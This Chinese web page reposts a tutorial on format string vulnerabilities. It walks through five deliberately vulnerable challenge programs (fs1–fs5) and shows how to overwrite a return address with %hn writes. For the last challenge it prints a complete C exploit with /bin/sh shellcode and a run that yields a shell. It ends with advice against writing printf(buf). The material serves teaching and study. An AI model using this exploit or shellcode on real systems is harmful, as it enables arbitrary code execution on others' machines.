分享
 
 
 

非安全编程演示之格式化字符串篇

王朝other·作者佚名  2008-06-01
窄屏简体版  字體: |||超大  

★★ 二格式化字符串篇

测试环境 redhat 6.2 glibc 2.1.3

★ 2.1 演示一

/* fs1.c*

* specially crafted to feed your brain by gera@core-sdi.com */

/* Don't forget,*

* more is less,*

* here's a proof */

int main(int argv,char **argc) {

 short int zero=0;

 int *plen=(int*)malloc(sizeof(int));

 char buf[256];

 strcpy(buf,argc[1]);

 printf("%s%hn\n",buf,plen);

 while(zero);

}

利用方法:

这个程序构造的很巧妙,假如我们需要从这个程序中得到控制的话,

我们需要把strcpy和printf都利用起来。

我们的目标:覆盖main函数的返回地址,需要使zero为0,然而,单单strcpy

是不可能实现的,所以我们需要利用后面的

printf("%s%hn\n",buf,plen);

把short int 类型的zero设置为0。所以我们需要精心构造argc[1].

★ 2.2 演示二

/* fs2.c*

* specially crafted to feed your brain by gera@core-sdi.com */

/* Can you tell me what's above the edge? */

int main(int argv,char **argc) {

 char buf[256];

 snprintf(buf,sizeof buf,"%s%c%c%hn",argc[1]);

 snprintf(buf,sizeof buf,"%s%c%c%hn",argc[2]);

}

假如我们现在来覆盖main的返回地址:0xbffffb6c,

假使shellcode地址为:0xbffffc88

开始构造模板

第一次我们构造argc[1]的时候需要使argc[1]长度为0xbfff-2

那使构造argc[1]内容为

aaaa | bbbb | \0x8a\0xfc\0xff\0xbf|...

第二次我们构造argc[2]的时候需要使argc[2]长度为0xfb6c-2

那使构造argc[2]内容为

aaaa | bbbb | \0x88\0xfc\0xff\0xbf|...

★ 2.3 演示三

/* fs3.c*

* specially crafted to feed your brain by riq@core-sdi.com*/

/* Not enough resources?*/

int main(int argv,char **argc) {

 char buf[256];

 snprintf(buf,sizeof buf,"%s%c%c%hn",argc[1]);

}

在上例中我们也看到,shellcode和main的返回地址存放的地址后两个字节是

一样的,所以也就不需要上面的第一步操作,直接如下构造:

构造argc[1]的时候需要使argc[1]长度为0xfb6c-2

那使构造argc[1]内容为

aaaa | bbbb | \0x88\0xfc\0xff\0xbf|...

★ 2.4 演示四

/* fs4.c*

* specially crafted to feed your brain by gera@core-sdi.com */

/* Have you ever heard about code reusability?*/

int main(int argv,char **argc) {

 char buf[256];

 snprintf(buf,sizeof buf,"%s%6$hn",argc[1]);

 printf(buf);

}

%6$hn格式化字符串表示%hn对应的格式化参数使用第六个参数

明白这一点,写出eXPloit应该不是问题。

看了下面一个例子就应该明白%6$是怎么回事了

[alert7@redhat62 alert7]$ cat test.c

#include <stdio.h>

int main(int argc, char *argv[])

{

 int a=2,b=3;

 printf("%d %d\n",a ,b);

 printf("%2$d %1$d\n",a ,b);

 return 0;

}

[alert7@redhat62 alert7]$ gcc -o test test.c -g

[alert7@redhat62 alert7]$ ./test

2 3

3 2

这样,我们可以在格式化串中自己指定所用哪个参数,而无需按照参数次序。

★ 2.5 演示五

/* fs5.c*

* specially crafted to feed your brain by gera@core-sdi.com */

/* go, go, go!*/

int main(int argv,char **argc) {

 char buf[256];

 snprintf(buf,sizeof buf,argc[1]);

 /* this line'll make your life easier */

//printf("%s\n",buf);

}

[alert7@redhat]$ gcc -o test test.c -g

给个exploit更感性一点

[alert7@redhat]$ cat exp.c|more

#include <stdlib.h>

#include <unistd.h>

#define DEFAULT_OFFSET0

#define DEFAULT_ALIGNMENT 0

#define DEFAULT_RETLOC 0xbffffd28-0*4-8-8 //F-X*4-8-8

 //F为格式化字符串地址

 //X为垃圾的个数,X*4也就是

 //从esp到F的长度

#define NOP0x90

char shellcode[] =

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

 "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

 "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

 "\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main(int argc, char *argv[]) {

char *ptr;

long shell_addr,retloc=DEFAULT_RETLOC;

int i,SH1,SH2;

char buf[512];

char buf1[5000];

int t;

printf("Using RET location address: 0x%x\n", retloc);

shell_addr =0xbfffff10 +atoi(argv[1]);//argv[1]的参数地址

 //里面存放着shellcode

printf("Using Shellcode address: 0x%x\n", shell_addr);

SH1 = (shell_addr >> 16) & 0xffff;//SH1=0xbfff

SH2 = (shell_addr >>0) & 0xffff;//SH2=0xd3a8

ptr = buf;

if ((SH1)<(SH2))

{

memset(ptr,'B',4);

ptr += 4 ;

(*ptr++) =(retloc+2) & 0xff;

(*ptr++) = ((retloc+2) >> 8) & 0xff ;

(*ptr++) = ((retloc+2) >> 16 ) & 0xff ;

(*ptr++) = ((retloc+2) >> 24 ) & 0xff ;

memset(ptr,'B',4);

ptr += 4 ;

(*ptr++) =(retloc) & 0xff;

(*ptr++) = ((retloc) >> 8) & 0xff ;

(*ptr++) = ((retloc) >> 16 ) & 0xff ;

(*ptr++) = ((retloc) >> 24 ) & 0xff ;

 sprintf(ptr,"%%%UC%%hn%%%uc%%hn",(SH1-8*2),(SH2-SH1 ));

 /*推荐构造格式化串的时候使用%hn*/

}

if ((SH1 )>(SH2))

{

memset(ptr,'B',4);

ptr += 4 ;

(*ptr++) =(retloc) & 0xff;

(*ptr++) = ((retloc) >> 8) & 0xff ;

(*ptr++) = ((retloc) >> 16 ) & 0xff ;

(*ptr++) = ((retloc) >> 24 ) & 0xff ;

memset(ptr,'B',4);

ptr += 4 ;

(*ptr++) =(retloc+2) & 0xff;

(*ptr++) = ((retloc+2) >> 8) & 0xff ;

(*ptr++) = ((retloc+2) >> 16 ) & 0xff ;

(*ptr++) = ((retloc+2) >> 24 ) & 0xff ;

 sprintf(ptr,"%%%uc%%hn%%%uc%%hn",(SH2-8*2),(SH1-SH2 ));

}

if ((SH1 )==(SH2))

 {

 printf("不能用一个printf实现这种情况\n"),exit(0);

 //其实是可以的,注重这个$这个非凡的printf选项没有

 //参考前面的演示四 :)

 }

sprintf(buf1,"%s%s",buf,shellcode);

execle("./test","test",buf1, NULL,NULL);

}

[alert7@redhat]$ gcc -o exp exp.c

[alert7@redhat]$ ./exp 50

Using RET location address: 0xbffffd18

Using Shellcode address: 0xbfffff42

bash$ uname -a

Linux redhat62 2.2.14-5.0 #1 Tue Mar 7 21:07:39 EST 2000 i686 unknown

bash$ 成功:)

里面的一些数据的定位请参考我写的<<利用格式化串覆盖printf()系列函数本身的返回地址>>

★★ 小结:

存在格式化字符串的根本原因所在是程序答应用户提供部分或全部的格式化字符串,

也就是说,在*printf()系列函数中,格式化字符串位置的参数可由用户提供或者说

是控制。例如:千万不要因为懒惰写成这样printf(buf),正确的写法应该是

printf("%s",buf).

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有